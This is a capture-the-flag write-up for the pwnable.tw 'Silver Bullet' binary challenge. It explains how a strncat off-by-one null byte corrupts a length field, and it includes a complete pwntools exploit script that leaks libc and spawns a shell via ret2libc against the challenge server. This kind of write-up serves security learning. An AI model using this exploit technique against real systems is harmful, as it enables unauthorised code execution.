Silver Bullet - pwnable.tw
29/12/2025
pwn | pwnable.tw
Challenge Description
File type
$ file silver_bullet
silver_bullet: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped
Binary Protection
$ checksec silver_bullet
[*] './silver_bullet'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
Stripped: No
Background
silver_bulletgives us operations to interact with Silver Bullet and Werewolf. Power of a Silver Bullet is based on the length of user's input string.
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :1
Give me your description of bullet :abc
Your power is : 3
Good luck !!
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :2
Give me your another description of bullet :def
Your new power is : 6
Enjoy it !
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :3
>----------- Werewolf -----------<
+ NAME : Gin
+ HP : 2147483647
>--------------------------------<
Try to beat it .....
Sorry ... It still alive !!
Give me more power !!
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :4
Don't give up !
- The program manages all information about Silver Bullet and Werewolf through local variables. Maximum power of Silver Bullet is 48:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int werewolfHP; // [esp+0h] [ebp-3Ch] BYREF
const char *werewolfName; // [esp+4h] [ebp-38h]
char silverBullet[48]; // [esp+8h] [ebp-34h] BYREF
int powerBullet; // [esp+38h] [ebp-4h]
init_proc();
powerBullet = 0;
memset(silverBullet, 0, sizeof(silverBullet));
werewolfHP = 0x7FFFFFFF;
werewolfName = "Gin";
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
power_up((int)silverBullet);
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_15;
create_bullet((int)silverBullet);
}
if ( v3 == 3 )
break;
if ( v3 == 4 )
{
puts("Don't give up !");
exit(0);
}
LABEL_15:
puts("Invalid choice");
}
if ( beat((int)silverBullet, (int)&werewolfHP) )
return 0;
puts("Give me more power !!");
}
}
These are 3 following important operations of the program:
- Create a Silver Bullet:
int __cdecl create_bullet(int silverBullet) { int powerBullet; // [esp+0h] [ebp-4h] if ( *(_BYTE *)silverBullet ) return puts("You have been created the Bullet !"); printf("Give me your description of bullet :"); read_input(silverBullet, 48); powerBullet = strlen(silverBullet); printf("Your power is : %u\n", powerBullet); *(_DWORD *)(silverBullet + 48) = powerBullet; return puts("Good luck !!"); }- Power up Silver Bullet:
int __cdecl power_up(int silverBullet) { char addedBullet[48]; // [esp+0h] [ebp-34h] BYREF int addedPower; // [esp+30h] [ebp-4h] addedPower = 0; memset(addedBullet, 0, sizeof(addedBullet)); if ( !*(_BYTE *)silverBullet ) return puts("You need create the bullet first !"); if ( *(_DWORD *)(silverBullet + 48) > 47u ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input((int)addedBullet, 48 - *(_DWORD *)(silverBullet + 48)); strncat(silverBullet, (int)addedBullet, 48 - *(_DWORD *)(silverBullet + 48)); addedPower = strlen(addedBullet) + *(_DWORD *)(silverBullet + 48); printf("Your new power is : %u\n", addedPower); *(_DWORD *)(silverBullet + 48) = addedPower; return puts("Enjoy it !"); }- Beat the Werewolf:
int __cdecl beat(int bullets, int werewolf) { if ( *(_BYTE *)bullets ) { puts(">----------- Werewolf -----------<"); printf(" + NAME : %s\n", *(const char **)(werewolf + 4)); printf(" + HP : %d\n", *(_DWORD *)werewolf); puts(">--------------------------------<"); puts("Try to beat it ....."); usleep(1000000); *(_DWORD *)werewolf -= *(_DWORD *)(bullets + 48); if ( *(int *)werewolf <= 0 ) { puts("Oh ! You win !!"); return 1; } else { puts("Sorry ... It still alive !!"); return 0; } } else { puts("You need create the bullet first !"); return 0; } }
Vulnerability
- If we first create a Silver Bullet with length n, and then power it up by 48 - n; the program will show us that the power of our bullet is 48 - n instead 48 as we expected.
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :1
Give me your description of bullet :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Your power is : 47
Good luck !!
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
+++++++++++++++++++++++++++
Your choice :2
Give me your another description of bullet :a
Your new power is : 1
Enjoy it !
- Therefore, there must be a vulnerable part of code in
power_up()function. After examining it, I saw the problem that afterstrncat()append all characters from source string to destination string, it will automatically add terminator character at the end of destination string. If we concatenate a 1-long string with destination string (silverBullet) that has the length of 47, a null character will be written intosilverBullet + 48. However, that memory address is also used to store the length ofsilverBulletstring and it is updated afterstrncat()is called:
strncat(silverBullet, (int)addedBullet, 48 - *(_DWORD *)(silverBullet + 48));
addedPower = strlen(addedBullet) + *(_DWORD *)(silverBullet + 48);
printf("Your new power is : %u\n", addedPower);
*(_DWORD *)(silverBullet + 48) = addedPower;
- It falsifies the actual
silverBulletstring. Then in next time of powering up, we can modify the variable showing the length ofsilverBulletstring and do buffer-overflow since the binary doesn't haveStack Canarymitigation.
Exploitation
Buffer Overflow
- First create a Silver Bullet having the power of 47. Then power it up by 1. This allows us to append more 47 characters after
silverBulletstring and modify the variable storing the length of that string (bulletPower) and the return address. However, to makemainfunction return, we have to beat Werewolf immediately. Therefore, we have to changebulletPowervariable to a bigger one. - When we can return to escape
mainfunction, we just need to write the return address to leak libc by usingprintforputsandGOTsentries. After that, just return back tomainfunction and do buffer-overflow again to get shell.
Exploit Code
from pwn import *
import utils
context.terminal = "kitty"
context.log_level = "debug"
context.arch = "i386"
TARGET = "./bin/silver_bullet"
LIBC = "./lib/libc_32.so.6"
target = process(TARGET)
target = remote("chall.pwnable.tw", 10103)
# gdb.attach(target, gdbscript="b *(main + 48)")
exe = ELF(TARGET)
libc = ELF(LIBC)
def create_bullet(data: bytes):
target.sendafter(b"Your choice :", b"1")
target.sendafter(b"bullet :", data)
def power_up(data: bytes):
target.sendafter(b"Your choice :", b"2")
target.sendafter(b"bullet :", data)
def beat():
target.sendafter(b"Your choice :", b"3")
create_bullet(b"A" * 47)
power_up(b"A")
payload = b"\xff" * 3 + b"A" * 4 + p32(exe.plt['printf']) + p32(exe.symbols['main']) + p32(exe.got['printf'])
power_up(payload)
beat()
target.recvuntil(b"You win !!\n")
printf_addr = u32(target.recv(4))
libc.address = printf_addr - libc.symbols['printf']
system_addr = libc.symbols['system']
bin_sh_addr = libc.address + 0x158e8b
create_bullet(b"A" * 47)
power_up(b"A")
payload = b"\xff" * 3 + b"B" * 4 + p32(system_addr) + b"C" * 4 + p32(bin_sh_addr)
power_up(payload)
beat()
target.interactive()